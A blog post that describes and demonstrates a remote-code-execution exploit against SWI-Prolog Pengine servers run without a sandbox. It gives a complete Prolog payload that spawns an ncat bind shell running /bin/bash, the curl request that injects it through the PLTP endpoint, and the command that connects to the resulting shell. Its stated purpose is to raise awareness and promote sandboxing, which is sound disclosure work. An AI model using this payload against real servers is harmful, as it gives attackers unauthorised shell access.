An RCE Exploit for a Vulnerable Pengine Server

In this blogpost, I present an exploit to obtain remote code execution (RCE) on a server that runs an SLD resolution service through the Prolog library Pengines. The exploit uses the Prolog Transport Protocol (PLTP) over HTTP and works by exploiting a vulnerability in Pengine servers that are not sandboxed. The vulnerability allows a client to inject malicious Prolog code in the knowledge base of the SLD-resolver. I show how this can be used to obtain a reverse shell with netcat. Although the Prolog community is aware of this vulnerability, to the best of my knowledge, this is the first report that demonstrates how the vulnerability can be exploited by an adversary. My goal is that this report can increase awareness among Pengine users and make them more inclined to use the sandbox security mechanism to prevent the exploit. The code is available here https://github.com/Limmen/Pengine_RCE_Exploit.

Overview of Pengines

The developed exploit uses exploits a capability in non-sandboxed Pengine servers that allows a client to upload Prolog code with Horn clauses that gets injected into the knowledge base of the Prolog server. After injecting a malicious Horn-clause into the Prolog knowledge base, the client can send a query to the Pengine server to ask the server to prove the malicious Horn-clause using SLD-resolution. This causes the exploit to be invoked and yields the client a reverse shell to the server where arbitrary bash commands can be executed.

Pengines is short for Prolog Engines. Pengines is a library in SWI-Prolog that allows you to perform SLD resolution at a remote Prolog server [1]. With Pengines, a Prolog server can export its predicates to be remote clients (see figure below). This means that the clients can resolve queries and prove statements from remote. The Prolog server is accessible through a protocol called the Prolog Transport Protocol (PLTP) which runs over HTTP.

A Pengines server and client

Sandboxing and Security

The Pengines library supports sandboxing. This mechanism can be used to declare the predicates at the Prolog server that are are deemed to be “safe” to be exported to remote clients. The safe predicates then get executed in a sandboxed environment, where unsafe predicates are not available (see figure below).

A sandboxed Pengines server

The Exploit

The exploit uses the following setup. A vulnerable Pengines server is running on $172.17.0.2$ and listens on for PLTP requests on port $4000$. The Pengines server has a set of Prolog predicates that can be used to resolve Sudokus using constraint logic programming. To use this service, the client can first upload a sudoku problem, e.g:

problem(1, [[_,_,_,_,_,_,_,_,_],
            [_,_,_,_,_,3,_,8,5],
            [_,_,1,_,2,_,_,_,_],
            [_,_,_,5,_,7,_,_,_],
            [_,_,4,_,_,_,1,_,_],
            [_,9,_,_,_,_,_,_,_],
            [5,_,_,_,_,_,_,7,3],
            [_,_,2,_,1,_,_,_,_],
            [_,_,_,_,4,_,_,_,9]]).

Then, after uploading a sudoku problem, the client can issue queries against the Pengine server for solving the Sudoku. For example:

problem(1, Rows), sudoku(Rows).

The Pengine server will then perform SLD resolution to resolve the query and return the variable ``Rows’’ with the solution to the Sudoku (see figure below).

A Pengines server acting as a Sudoku resolver.

The Vulnerability

The Pengines server does not use a sandbox to execute the logic to solve the sudoku. Thus, the server is vulnerable to attacks that use unsafe predicates. That is, while the Pengine server will fill its intended purpose and solve sudokus for benign clients, it can also be used by adversarial clients to execute malicious code.

Payload of the Exploit

To exploit the vulnerable server, a client can inject malicious Prolog code in the remote server when uploading the Sudoku problem. Specifically, instead of just uploading a Sudoku problem defined in Prolog code, the client can add a side-effect to the Prolog code that will execute malicious code.

The payload of the exploit is as follows:

problem(1, [[_,_,_,_,_,_,_,_,_],
            [_,_,_,_,_,3,_,8,5],
            [_,_,1,_,2,_,_,_,_],
            [_,_,_,5,_,7,_,_,_],
            [_,_,4,_,_,_,1,_,_],
            [_,9,_,_,_,_,_,_,_],
            [5,_,_,_,_,_,_,7,3],
            [_,_,2,_,1,_,_,_,_],
            [_,_,_,_,4,_,_,_,9]]):-
	shell("ncat -n -v -l -p 5555 -e /bin/bash &").

In the above Prolog code, in addition to defining a Sudoku problem, a netcat process is created in the background.

Lastly, to perform the exploit, we have to send the payload of the exploit to the Pengine server, this can be done using the PLTP protocol and curl:

curl --header "Content-Type: application/json"
     --request POST
     --data $'{"application": "pengine_sandbox", "as": "problem(1, Rows), sudoku(Rows)",
              "chunk": 1, "destroy": true, "format":"json",
              "src_text": "problem(1,
              [[_,_,_,_,_,_,_,_,_],
              [_,_,_,_,_,3,_,8,5],
              [_,_,1,_,2,_,_,_,_],
              [_,_,_,5,_,7,_,_,_],
              [_,_,4,_,_,_,1,_,_],
              [_,9,_,_,_,_,_,_,_],
              [5,_,_,_,_,_,_,7,3],
              [_,_,2,_,1,_,_,_,_],
              [_,_,_,_,4,_,_,_,9]]):-
              \n\tshell(\\"ncat -n -v -l -p 5555 -e /bin/bash &\\").\n"}'
              http://127.0.0.1:4000/pengine/create

After sending the exploit, we can use netcat to connect and obtain a remote shell with the following command:

ncat -nv 127.0.0.1 5555

Discussion and Implications

This exploit is only possible against Pengine servers that are not sandboxed. In early versions of the Pengines library, servers were not sandboxed by default. However, in the latest versions, the sandbox functionality is enabled by default. Thus the user has to actively disable the sandbox to make the vulnerability active. Hence, it is safe to say that the Prolog community is well aware of this vulnerability and how it can be exploited. However, to the best of my knowledge, this report provides the first detailed description of how such an exploit can be executed. My hope is that this report can increase awareness and make more people that use the Pengines library inclined to use the sandbox security mechanism to prevent this exploit.

Conclusions

In this blogpost, I have presented a novel RCE exploit that uses a remote SLD resolver in Prolog to obtain a reverse shell. The exploit uses the PLTP protocol and a vulnerability in Pengine servers that are not sandboxed. The vulnerability allows the client to upload malicious Prolog code that gets injected into the knowledge base of the Prolog server. I have shown how this vulnerability can be exploited to obtain a reverse shell with netcat.

References